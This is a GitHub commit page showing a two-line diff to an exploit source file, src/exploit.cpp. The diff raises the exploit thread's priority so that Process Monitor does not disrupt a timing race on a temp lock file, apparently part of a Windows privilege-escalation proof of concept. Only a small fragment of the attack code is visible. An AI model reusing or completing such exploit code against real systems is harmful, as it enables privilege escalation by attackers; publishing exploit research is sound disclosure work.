Skip to content

Commit

Permalink
Set thread priority or procmon breaks the timing
Browse files Browse the repository at this point in the history
  • Loading branch information
jbaines-r7 committed Dec 3, 2021
1 parent 0467117 commit 9e9d657
Showing 1 changed file with 2 additions and 0 deletions.
2 changes: 2 additions & 0 deletions src/exploit.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -207,6 +207,8 @@ void Exploit::callback_two()

void Exploit::exploit_thread()
{
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

std::cout << "[+] Grabbing handle to lock " << m_tmp_base_path + m_tmp_inner_path + "\\" + m_tmp_lock_file << std::endl;
m_lock_handle = CreateFileA((m_tmp_base_path + m_tmp_inner_path + "\\" + m_tmp_lock_file).c_str(), GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0);
if (m_lock_handle == INVALID_HANDLE_VALUE)
Expand Down

0 comments on commit 9e9d657

Please sign in to comment.